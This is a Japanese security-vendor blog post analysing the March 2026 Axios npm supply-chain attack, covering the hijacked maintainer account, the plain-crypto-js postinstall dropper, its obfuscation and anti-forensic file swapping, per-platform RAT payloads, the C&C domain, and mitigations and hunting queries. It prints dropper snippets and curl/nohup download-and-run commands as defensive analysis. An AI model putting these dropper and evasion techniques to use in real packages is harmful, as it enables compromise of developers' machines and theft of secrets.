サイバー脅威
Axios NPMパッケージ侵害:週1億以上のダウンロードを誇るJavaScript HTTPクライアントにサプライチェーン攻撃
Axiosに対してサプライチェーン攻撃が発生し、攻撃者は盗まれたnpm認証情報を使用して悪意のあるバージョンを公開しました。このバージョンにはファントム依存関係が含まれており、インストール時にクロスプラットフォームのRATを起動し、その後、検出を困難にするために自身のファイルをクリーンなデコイに置き換えました。
- 週1億回以上のnpmダウンロードを誇る広く利用されているJavaScript HTTPクライアントであるAxiosは、攻撃者が主要メンテナーのnpmアカウントを乗っ取り、クロスプラットフォームのリモートアクセス型トロイの木馬(RAT)を展開する2つの悪意あるバージョン(1.14.1および0.30.4)を公開したことで侵害されました。
- この攻撃では、plain-crypto-js@4.2.1というファントム依存関係が導入され、postinstallフックを実行することでmacOS、Windows、Linux上に持続的なマルウェアを展開し、その後、自身のファイルをクリーンなデコイに置き換えることで証拠を消去しました。
- 攻撃者は盗まれたnpmトークンを用いて手動で不正バージョンを公開することで、GitHub ActionsのOIDC Trusted Publisherの保護を回避し、公式GitHubリポジトリには痕跡を残しませんでした。
- 自動化されたnpmセキュリティスキャナーは数分以内に悪意ある依存関係を検出し、その後すぐにnpmの管理側によって侵害されたパッケージは削除されました。
- フォレンジック分析により、高度な難読化、アンチフォレンジック手法、プラットフォームごとに異なるペイロードの存在が明らかとなり、特に依存関係のピン留めやCI/CDパイプライン保護におけるサプライチェーンセキュリティの重要なギャップが浮き彫りになりました。
Axiosは、週1億回以上のnpmダウンロード数を誇るJavaScriptエコシステムで最も人気のあるHTTPクライアントですが、2026年3月30日に侵害され、クロスプラットフォームのリモートアクセス型トロイの木馬(RAT)を配布する手段として悪用されました。攻撃者は主要メンテナーのnpmアカウントを乗っ取り、1.x系およびレガシーの0.x系リリースブランチの双方に対して、わずか39分の間に2つの不正バージョンを公開しました。そして、持続的なマルウェアをmacOS、Windows、Linuxに展開することのみを目的としたファントム依存関係を仕込みました。このマルウェアは実行後に自己消去し、痕跡をクリーンなデコイに置き換える仕組みを備えていました。
攻撃タイムライン
本侵害の背後にある攻撃は、約18時間にわたって事前に準備されており、「新規公開パッケージ」としての警告を回避するため、Axiosのリリース前に悪意ある依存関係がnpm上に仕込まれていました。
本稿執筆時点(2026年3月31日)において、当社のテレメトリでは、本脅威に関連する活動が複数の業界に影響を与えていることが確認されています。対象には、政府、金融、小売、コンサルティング、エンターテインメント、製造、テクノロジー、医療、公共事業などが含まれます。
メンテナーアカウントの乗っ取りの経緯
攻撃者は、npm上のAxiosプロジェクトの主要メンテナーであるjasonsaaymanのアカウントを侵害しました。アカウントのメールアドレスは、攻撃者が管理するProtonMailアドレスである ifstap@proton.me に変更されていました。
通常、Axiosの1.x系の正規リリースはすべて、GitHub Actionsを通じてnpmのOIDC Trusted Publisherメカニズムを用いて公開されており、公開プロセスは検証済みのCIワークフローと暗号的に紐づけられています。しかし、問題のある1.14.1は、盗まれたnpmアクセストークンを使用して手動で公開されており、OIDCによる紐づけもなく、gitHeadも存在しませんでした。
AxiosのGitHubリポジトリには、1.14.1や0.30.4に対応するコミット、タグ、リリースは一切存在していません。これらのリリースはnpm上にのみ存在しています。
AxiosのコラボレーターであるDigitalBrainJSが対応を試みた際、攻撃者は乗っ取った認証情報(管理者レベルの権限を保持)を使用し、開示用のIssueの固定解除や削除を行いました。このコラボレーターは公に次のように述べています。「無駄です。gitおよびnpmリポジトリへのアクセスが侵害されており、彼の権限は筆者より上です。筆者は管理者ではなくコラボレーターです。彼のアクセスを無効化できません。筆者が修正しても、彼がその後で“修正”してしまいます。」
フォレンジック上の重要なシグナル — OIDC比較
// axios@1.14.0 — LEGITIMATE
"_npmUser": {
"name": "GitHub Actions",
"trustedPublisher": { "id": "github", "oidcConfigId": "..." }
}
// axios@1.14.1 — MALICIOUS
"_npmUser": {
"name": "jasonsaayman",
"email": "[ifstap@proton.me](mailto:ifstap@proton.me)"
// no trustedPublisher, no gitHead
}
ファントム依存関係:plain-crypto-js@4.2.1
両方の不正なAxiosバージョンにおける唯一の変更点は、plain-crypto-js@^4.2.1という新たな依存関係が1つ追加されていることです。このパッケージは、Axiosのソースコード内のどこからもimportやrequire()されていません。全86ファイルを対象にgrep検索を行っても、使用箇所は一切確認されませんでした。この依存関係は、npmの自動依存関係解決を発動させ、そのpostinstallフックを実行させることのみを目的として、package.jsonに存在しています。
これはファントム依存関係攻撃の典型的な特徴であり、インストール時の副作用を狙ってマニフェストに追加されたパッケージです。
plain-crypto-js@4.2.1は公開から数分以内に、複数の自動スキャナーによって既知のマルウェアとして検出され、サプライチェーンセキュリティスコアは0%と評価されました。同様に、侵害されたaxios@1.14.1も検出され、その後npmによって非公開化されました。
技術分析:RATドロッパー(setup.js)
難読化の構造
すべての重要な文字列は、stq[]という配列内にエンコードされた形で格納されています。これらは実行時に2つの関数によって復号されます。
- _trans_1(x, r) — XOR暗号:キーである「OrDeR_7077」はJavaScriptのNumber()で解析されます。アルファベットはNaNとなり、ビット演算では0として扱われるため、実質的に残るのは数字の7, 0, 7, 7のみです。結果として有効なキーは[0,0,0,0,0,0,7,0,7,7]となります。各文字は以下のように復号されます:charCode XOR key[(7_r_r) % 10] XOR 333
- trans_2(x, r) — 外側レイヤー:エンコードされた文字列を逆順にし、「」を「=」に置換した後、base64デコードを行い、その結果を_trans_1に渡します。
完全に復号された文字列
- _trans_1(x, r) はキーである「OrDeR_7077」を文字ごとに分割し、それぞれをNumber()で変換します。数字以外の文字はNaNとなり、ビット単位のXOR演算では0として扱われます。その結果、有効なキーは [0,0,0,0,0,0,7,0,7,7] となります。各文字は次の式で復号されます:charCode XOR key[(7_r_r) % 10] XOR 333。二次関数的なインデックス(7r² mod 10)によりキーへのアクセスパターンが乱され、頻度解析への耐性が高められています。
- _trans_2(x, r) はエンコードされた文字列を逆順に並べ替え、「」を「=」に置換してbase64のパディングを復元し、base64デコードを行った後、その結果を_trans_1に渡します。両関数はtry/catch {}でラップされており、エラーは静かに無視されるため、部分的な失敗でもスタックトレースが表示されることはありません。
エントリポイント:_entry(“6202033”)
キャンペーンID「6202033」が引数として渡され、C&C URLに付加されます。送信処理の前に、この関数は6つのbase64分割されたプレースホルダトークンを復号します。
各atob()呼び出しは、完全な文字列をgrepで検出されないようにするため、意図的に2つの断片に分割されています。これらのトークンはテンプレート変数として機能し、ドロッパーはstq[]からプラットフォームごとのシェルコマンドテンプレートを復号し、それらのトークンを実際のC&C URLやローカルファイルパスに置き換えます。
3つのコアモジュール(fs、os、child_process)は、stq[]から実行時にモジュール名を復号する動的なrequire()呼び出しによって読み込まれます。これにより、require(“child_process”)のようなリテラル文字列を検索する静的解析スキャナーを回避し、自動化されたコードレビューからインポートが見えない状態にしています。
プラットフォーム分岐
このドロッパーは、for(;;) { … break } というパターンを使用しています。これは無限ループのように見えますが、実際には1回だけ実行される構造です。自動コードレビューにおいてプラットフォーム分岐として識別されやすい明確なif/else構造を避けるための、意図的な難読化手法です。この内部では以下の処理が行われます。
- macOS(darwin):stq[9]からAppleScriptテンプレートを復号し、SCR_LINKをC&C URLに、LOCAL_PATHを/tmp/6202033に置き換え、ディスクに書き込みます。その後、stq[10]に含まれるコマンドを用いて実行します。
- Windows(win32):“where powershell”を実行してインタープリタの場所を特定し、それを%PROGRAMDATA%\wt.exe(Windows Terminalを装う)にコピーします。その後、C&C URLとPowerShellのパスを埋め込んだVBScriptランチャーを%TEMP%\6202033.vbsとして書き込み、実行します。
- Linux(デフォルト):stq[12]からcurlとnohupを組み合わせたコマンドを復号し、SCR_LINKをC&C URLに置き換え、execSyncを用いて直接実行します。
アンチフォレンジック(最後の3つの処理)
F(n); // execSync — RAT is now running
t.unlink(__filename, (x => {})); // DELETE setup.js
t.unlink("package.json", (x => {})); // DELETE malicious manifest
t.rename("package.md", "package.json", // SWAP clean stub into place
(x => {}));
すべてのコールバックは (x => {}) の形式で定義されており、エラーは静かに無視されます。同様の理由で、_entry関数全体もtry/catch {}でラップされています。ファイル内で唯一難読化されていない呼び出しは、最後の _entry(“6202033”) のみであり、npmのpostinstallフックによって node setup.js が実行されると即座に起動します。
プラットフォーム別ペイロード
macOS:AppleScriptドロッパー
C&C POSTボディ:packages.npm.org/product0
C&CはmacOS用のバイナリを返し、/Library/Caches/com.apple.act.mond に保存されます。このパスはAppleのシステムキャッシュを装うように設計されています。「com.apple.act.mond」という名称は、AppleのリバースDNS形式のデーモン命名規則に従っており、「Activity Monitor Daemon」の略である可能性が高いです。このファイルは chmod 770 によって実行可能にされ、/bin/zsh を介してバックグラウンドで起動されます。AppleScriptファイルは実行後に自己削除されます。
Windows:VBScript + PowerShellチェーン
C&C POSTボディ:packages.npm.org/product1
4段階の攻撃フロー:
- “where powershell” を用いてPowerShellの場所を特定
- PowerShellバイナリを %PROGRAMDATA%\wt.exe にコピー(Windows Terminalを装う)
- VBScriptが非表示のcmd.exeを実行し、C&CからPowerShellのRATを取得して -ExecutionPolicy Bypass -WindowStyle Hidden で実行し、その後自身を削除。持続的な痕跡として %PROGRAMDATA%\wt.exe が残る
- 取得されたスクリプトは最終ペイロードを完全にメモリ上で実行。リネームされたPowerShellバイナリ(wt.exe)は以下のコマンドを実行
Invoke-WebRequest はWindowsのプラットフォーム識別子をC&CへPOSTし、HTTPレスポンスボディとして第2段階のスクリプトを受信します。このボディはUTF-8でデコードされ、[scriptblock]::Create() に渡されてインラインで実行されます。すべて現在のPowerShellプロセスのメモリ内で完結し、最終ペイロードのための中間ファイルは一切作成されません。C&CのURLはscriptblockへの引数として渡されるため、配布されたコードはアドレスをハードコードすることなく追加の指示取得のためにコールバックすることが可能です。
Linux:Python RAT
C&C POSTボディ:packages.npm.org/product2
execSyncによって直接実行され、Python製のRATを /tmp/ld.py にダウンロードし、nohupを用いてデタッチされた状態で実行します。POSTボディのプレフィックス「packages.npm.org/」は、迅速な確認時にnpm関連の通信に見せかけ、ログに紛れ込ませることを意図して選ばれていると考えられます(実際には公式のnpmレジストリドメインである registry.npmjs.org ではありません)。
C&Cインフラ分析
当社によるC&Cインフラの分析から、攻撃者のサーバ運用の特徴が明らかになりました。
当該ドメインは2026年3月30日16:03 UTCに登録されており、デコイである plain-crypto-js@4.2.0 の公開(05:57 UTC)から10時間後、そして悪意ある @4.2.1 ペイロードの公開(23:59 UTC)の8時間前にあたります。これは、攻撃の準備段階と同日にインフラが構築されたことを示しています。NamecheapのデフォルトDNSおよびメール転送設定の利用に加え、一般的なホスティング事業者上で新規登録されたドメインという構成は、使い捨ての単発オペレーション用インフラと一致しています。
当社のスレットインテリジェンスプラットフォームでは、sfrclak[.]com配下に10件のURLが確認されており、プラットフォーム別のC&Cエンドポイントも含まれています。
- 自身の削除 - fs.unlink(__filename) により setup.js を削除
- package.json の削除 - postinstallフックを含むマニフェストを削除
- package.md を package.json にリネーム - 事前に用意されたクリーンなスタブ(v4.2.0、postinstallなし)に置き換え
感染後に node_modules/plain-crypto-js/package.json を確認すると、完全にクリーンなマニフェストが表示されます。証拠はその場で置き換えられています。
検知のシグナル:node_modules/plain-crypto-js/ の存在自体が侵害の証拠となります。このパッケージは、正規のAxiosバージョンの依存関係には含まれていません。
実行時の確認
静的解析の結果は、ランタイムセキュリティ監視を監査モードで有効化したGitHub Actionsランナー上で axios@1.14.1 をインストールすることで検証されました。この環境では、すべての外部接続、生成されたプロセス、ファイル書き込みがカーネルレベルで記録されます。
2つのC&C通信が確認されました。
- curl(01:30:51Z)— npm install開始から1.1秒後
- nohup(01:31:27Z)— 別のワークフローステップ中
このマルウェアは、npmとは独立して、PID 1に紐づくデタッチされたバックグラウンドプロセスとして持続しました。
プロセスツリー:完全なキルチェーン
PID 2366 bash (workflow script)
└─ PID 2380 npm install axios@1.14.1
└─ PID 2391 sh -c "node setup.js"
└─ PID 2392 node setup.js
└─ PID 2399 /bin/sh -c "curl ... && nohup python3 ..."
PID 2401 curl -o /tmp/ld.py ... ppid: 2400
PID 2400 nohup python3 /tmp/ld.py ppid: 1 ← ORPHANED TO INIT
- @shadanai/openclaw:OpenClaw AIゲートウェイのフォークであり、ベンダリングされたパス内に plain-crypto-js が隠されています。setup.jsは同一で、同じC&Cおよび同一のペイロードが使用されています。
- @qqbrowser/openclaw-qbot@0.0.130:node_modulesディレクトリ内に、plain-crypto-js がすでに注入された改ざん済みの axios@1.14.1 を同梱しています。侵入経路は異なりますが、同一のマルウェアが使用されています。
- 安全なバージョンへの固定:npm install axios@1.14.0(1.x系)または axios@0.30.3(0.x系)
- package.json に overrides / resolutions を追加し、推移的依存関係の解決を防止
- plain-crypto-js の削除:rm -rf node_modules/plain-crypto-js && npm install –ignore-scripts
- RATの痕跡が確認された場合:その場でのクリーンアップは行わず、既知の正常状態から再構築
- すべての認証情報をローテーション:npmトークン、AWSキー、SSHキー、CI/CDシークレット、.envの値
- CI/CDパイプラインの監査:影響期間中に npm install を実行したすべてのワークフローについて、注入されたシークレットをローテーション
- ネットワーク/DNSレベルでC&Cをブロック:sfrclak.com をブロックリストに追加
- CI/CDにおける常設ポリシーとして npm ci –ignore-scripts を使用
開発者、レジストリ運営者、セキュリティチームへの教訓:今回のAxios侵害は、サプライチェーンセキュリティにおける重大なギャップを浮き彫りにし、単一のアカウント乗っ取りが数百万のユーザに影響を及ぼし得ることを示しました。この攻撃は、厳格な依存関係のピン留め、CI/CDの保護強化、そしてレジストリの監視体制の重要性を強調しています。本キャンペーンで露呈した技術的および運用上の課題を検証することで、将来的なリスク軽減に向けた有益な示唆を得ることができます。
- 開発者向け
- 依存関係のバージョンを固定してください。キャレット指定(^1.14.0)は次のマイナー/パッチバージョンを自動的に取り込んでしまいます。lockfileの検証と組み合わせた厳密なバージョン固定が最低限の防御となります。
- CI/CDでは npm ci –ignore-scripts を使用してください。postinstallフックは、npmサプライチェーン攻撃における主要な実行ベクターです。
- package.jsonだけでなく、lockfileも監査してください。今回の悪意ある依存関係は推移的依存であり、package-lock.jsonにのみ現れていました。
- パッケージレジストリ運営者向け
- OIDC Trusted Publisherの採用を標準とすべきです。今回の不正な公開は、OIDCバインディングが欠如していたため、異常として容易に検出可能でした。
- アカウント乗っ取り検知では、高ダウンロード数パッケージにおけるメールアドレス変更をフラグとして検出し、レビュー保留をトリガーすべきです。
- 新規公開パッケージに対するクールダウン期間を設けるべきです。たとえ24時間でも、影響範囲の拡大を抑制できた可能性があります。
- セキュリティチーム向け
- ファントム依存関係を監視してください。マニフェストには存在するが、ソースコード内で一度もインポートされていないパッケージが該当します。
- CI/CDにおける外向き通信の監視は、静的解析では見逃される挙動を検出できます。
- インストール後の証拠は消去される可能性があります。lockfileの差分やネットワークログの方が、より信頼性の高いフォレンジック情報源となります。
TrendAI Vision One™ によるプロアクティブセキュリティ
TrendAI Vision One™ は、サイバーリスクエクスポージャー管理、セキュリティオペレーション、そして強固な多層防御を一元化する、業界をリードするAIサイバーセキュリティプラットフォームです。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence は、新たに出現する脅威や攻撃者に関する最新のインサイト、TrendAI™ Researchによる独自の戦略レポート、さらにTrendAI Vision One™プラットフォーム内で利用可能なThreat Intelligence Feedを提供します。
Emerging Threats: Axios Compromised: Inside the Supply Chain Attack That Hit 100M+ Weekly Downloads
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
Axios Compromised: Inside the Supply Chain Attack That Hit 100M+ Weekly Downloads
ハンティングクエリ
TrendAI Vision One™ Search App
TrendAI Vision One™ のユーザは、Search Appを利用して、本ブログで言及されている悪意ある指標を自社環境のデータと照合し、検出やハンティングを行うことができます。
npm postinstallドロッパーによるキャンペーン固有の一時ファイル生成を検出
eventSubId:101 AND objectFilePath:(*\Temp\6202033* OR */tmp/6202033*) AND parentFilePath:(*\node.exe OR */node)
Axiosサプライチェーン攻撃のC&Cへの外向き通信を検出
eventSubId:204 AND dst:("sfrclak.com" OR "142.11.206.73")
さらに多くのハンティングクエリは、Threat Intelligence の利用権を有効化することで、TrendAI Vision One™上で利用可能です。
侵入の痕跡(IoC:Indicators of Compromise)
本記事に関連する侵入の痕跡(IoCs)は、こちらからご確認いただけます。
参考記事
Axios NPM Package Compromised: Supply Chain Attack Hits JavaScript HTTP Client with 100M+ Weekly Downloads
By: Peter Girnus, Jacob Santos
翻訳:与那城 務(Platform Marketing, Trend Micro™ Research)